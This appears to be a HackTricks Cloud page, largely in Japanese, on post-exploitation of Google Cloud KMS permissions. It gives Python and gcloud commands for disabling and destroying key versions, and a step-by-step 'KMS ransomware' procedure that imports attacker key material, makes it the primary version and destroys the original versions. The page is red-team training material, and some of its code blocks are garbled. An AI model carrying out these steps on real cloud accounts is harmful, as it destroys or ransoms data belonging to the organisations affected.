GCP - KMS Post Exploitation
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
KMS
KMS に関する基本情報は次を参照してください:
cloudkms.cryptoKeyVersions.destroy
この権限を持つ攻撃者は KMS のバージョンを破棄できます。これを行うには、まずキーを無効化し、その後破棄する必要があります:
キー バージョンを無効化して破棄する (Python)
```python # pip install google-cloud-kmsfrom google.cloud import kms
def disable_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Disables a key version in Cloud KMS. “”“
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to disable the key version.
client.update_crypto_key_version(request={‘crypto_key_version’: {‘name’: key_version_name, ‘state’: kms.CryptoKeyVersion.State.DISABLED}})
def destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version): “”“ Destroys a key version in Cloud KMS. “”“
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Call the API to destroy the key version.
client.destroy_crypto_key_version(request={‘name’: key_version_name})
Example usage
project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ # Version number to disable and destroy
Disable the key version
disable_key_version(project_id, location_id, key_ring_id, key_id, key_version)
Destroy the key version
destroy_key_version(project_id, location_id, key_ring_id, key_id, key_version)
</details>
### KMS Ransomware
AWS では、KMS のリソースポリシーを変更して攻撃者のアカウントだけがキーを使用できるようにすることで、**KMS key を完全に盗む**ことが可能です。GCP にはこれらのリソースポリシーが存在しないため、これは不可能です。
しかし、グローバルな KMS Ransomware を実行する別の方法があり、以下の手順を含みます:
- **攻撃者がインポートした鍵素材を含むキーの新しいバージョンを作成する**
```bash
gcloud kms import-jobs create [IMPORT_JOB] --location [LOCATION] --keyring [KEY_RING] --import-method [IMPORT_METHOD] --protection-level [PROTECTION_LEVEL] --target-key [KEY]
- 将来暗号化されるデータ用にそれを default version として設定する
- 前のバージョンで暗号化された古いデータを 新しいバージョンで再暗号化 する
- KMS key を削除する
- これにより、元の鍵素材を持つ攻撃者だけが暗号化されたデータを復号できるようになる
Cloud Storage + CMEK 権限モデル
Cloud Storage のオブジェクトが CMEK で暗号化されている場合、KMS への復号/暗号化の呼び出しはオブジェクトを読むエンドユーザーによって直接行われるのではなく、プロジェクトの Cloud Storage service agent(email は service-${BUCKET_PROJECT_NUMBER}@gs-project-accounts.iam.gserviceaccount.com)) によって行われます。
つまり、CMEK で暗号化されたものを読むためには:
- プロジェクトの Cloud Storage service agent が、使用されている KMS key に対して KMS 権限を持っている必要がある(通常は
roles/cloudkms.cryptoKeyEncrypterDecrypter)。 - ユーザーはオブジェクトの読み取り権限(例:
storage.objects.get)だけが必要で、KMS key に対する権限は不要である。
つまり、KMS key を使って暗号化データへのアクセスを制御するには、プロジェクトの Cloud Storage service agent に対する KMS 権限を追加/削除する必要があります。
プロジェクトレベルで Storage service agent に対して roles/cloudkms.cryptoKeyEncrypterDecrypter のようなバインディングがある場合、同じプロジェクト内のキーでの復号は引き続き許可される点に注意してください。
Here are the steps to import a new version and disable/delete the older data:
新しいキー バージョンをインポートして古いバージョンを削除する
```bash # Encrypt something with the original key echo "This is a sample text to encrypt" > /tmp/my-plaintext-file.txt gcloud kms encrypt \ --location us-central1 \ --keyring kms-lab-2-keyring \ --key kms-lab-2-key \ --plaintext-file my-plaintext-file.txt \ --ciphertext-file my-encrypted-file.encDecrypt it
gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -
Create an Import Job
gcloud kms import-jobs create my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–import-method “rsa-oaep-3072-sha1-aes-256”
–protection-level “software”
Generate key material
openssl rand -out my-key-material.bin 32
Import the Key Material (it’s encrypted with an asymetrict key of the import job previous to be sent)
gcloud kms keys versions import
–import-job my-import-job
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–algorithm “google-symmetric-encryption”
–target-key-file my-key-material.bin
Get versions
gcloud kms keys versions list
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
Make new version primary
gcloud kms keys update
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–primary-version 2
Try to decrypt again (error)
gcloud kms decrypt
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–ciphertext-file my-encrypted-file.enc
–plaintext-file -
Disable initial version
gcloud kms keys versions disable
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key 1
Destroy the old version
gcloud kms keys versions destroy
–location us-central1
–keyring kms-lab-2-keyring
–key kms-lab-2-key
–version 1
</details>
### `cloudkms.cryptoKeyVersions.useToEncrypt` | `cloudkms.cryptoKeyVersions.useToEncryptViaDelegation`
<details>
<summary>対称キーでデータを暗号化する (Python)</summary>
```python
from google.cloud import kms
import base64
def encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext):
"""
Encrypts data using a symmetric key from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key name.
key_name = client.crypto_key_path(project_id, location_id, key_ring_id, key_id)
# Convert the plaintext to bytes.
plaintext_bytes = plaintext.encode('utf-8')
# Call the API.
encrypt_response = client.encrypt(request={'name': key_name, 'plaintext': plaintext_bytes})
ciphertext = encrypt_response.ciphertext
# Optional: Encode the ciphertext to base64 for easier handling.
return base64.b64encode(ciphertext)
# Example usage
project_id = 'your-project-id'
location_id = 'your-location'
key_ring_id = 'your-key-ring'
key_id = 'your-key-id'
plaintext = 'your-data-to-encrypt'
ciphertext = encrypt_symmetric(project_id, location_id, key_ring_id, key_id, plaintext)
print('Ciphertext:', ciphertext)
cloudkms.cryptoKeyVersions.useToSign
非対称鍵でメッセージに署名する (Python)
```python import hashlib from google.cloud import kmsdef sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message): “”“ Sign a message using an asymmetric key version from Cloud KMS. “”“
Create the client.
client = kms.KeyManagementServiceClient()
Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
Convert the message to bytes and calculate the digest.
message_bytes = message.encode(‘utf-8’) digest = {‘sha256’: hashlib.sha256(message_bytes).digest()}
Call the API to sign the digest.
sign_response = client.asymmetric_sign(name=key_version_name, digest=digest) return sign_response.signature
Example usage for signing
project_id = ‘your-project-id’ location_id = ‘your-location’ key_ring_id = ‘your-key-ring’ key_id = ‘your-key-id’ key_version = ‘1’ message = ‘your-message’
signature = sign_asymmetric(project_id, location_id, key_ring_id, key_id, key_version, message) print(‘Signature:’, signature)
</details>
### `cloudkms.cryptoKeyVersions.useToVerify`
<details>
<summary>非対称鍵で署名を検証する (Python)</summary>
```python
from google.cloud import kms
import hashlib
def verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature):
"""
Verify a signature using an asymmetric key version from Cloud KMS.
"""
# Create the client.
client = kms.KeyManagementServiceClient()
# Build the key version name.
key_version_name = client.crypto_key_version_path(project_id, location_id, key_ring_id, key_id, key_version)
# Convert the message to bytes and calculate the digest.
message_bytes = message.encode('utf-8')
digest = {'sha256': hashlib.sha256(message_bytes).digest()}
# Build the verify request and call the API.
verify_response = client.asymmetric_verify(name=key_version_name, digest=digest, signature=signature)
return verify_response.success
# Example usage for verification
verified = verify_asymmetric_signature(project_id, location_id, key_ring_id, key_id, key_version, message, signature)
print('Verified:', verified)
cloudkms.cryptoKeyVersions.restore
cloudkms.cryptoKeyVersions.restore permission は、以前に破壊予定に設定されていたか無効化されていたキー バージョンを Cloud KMS 上で復元して、アクティブで使用可能な状態に戻すことをアイデンティティに許可します。
gcloud kms keys versions restore <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
cloudkms.cryptoKeyVersions.update
cloudkms.cryptoKeyVersions.update 権限は、アイデンティティが Cloud KMS の特定のキー バージョンの属性または状態(例: 有効化または無効化)を変更できるようにします。
# Disable key
gcloud kms keys versions disable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
# Enable key
gcloud kms keys versions enable <VERSION_ID> \
--key=<KEY_NAME> \
--keyring=<KEYRING_NAME> \
--location=<LOCATION> \
--project=<PROJECT_ID>
Tip
学んで実践する AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学んで実践する GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学んで実践する Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks をサポートする
- subscription plans を確認してください!
- 参加する 💬 Discord group または telegram group に参加するか、Twitter 🐦 @hacktricks_live をフォローしてください。
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
HackTricks Cloud

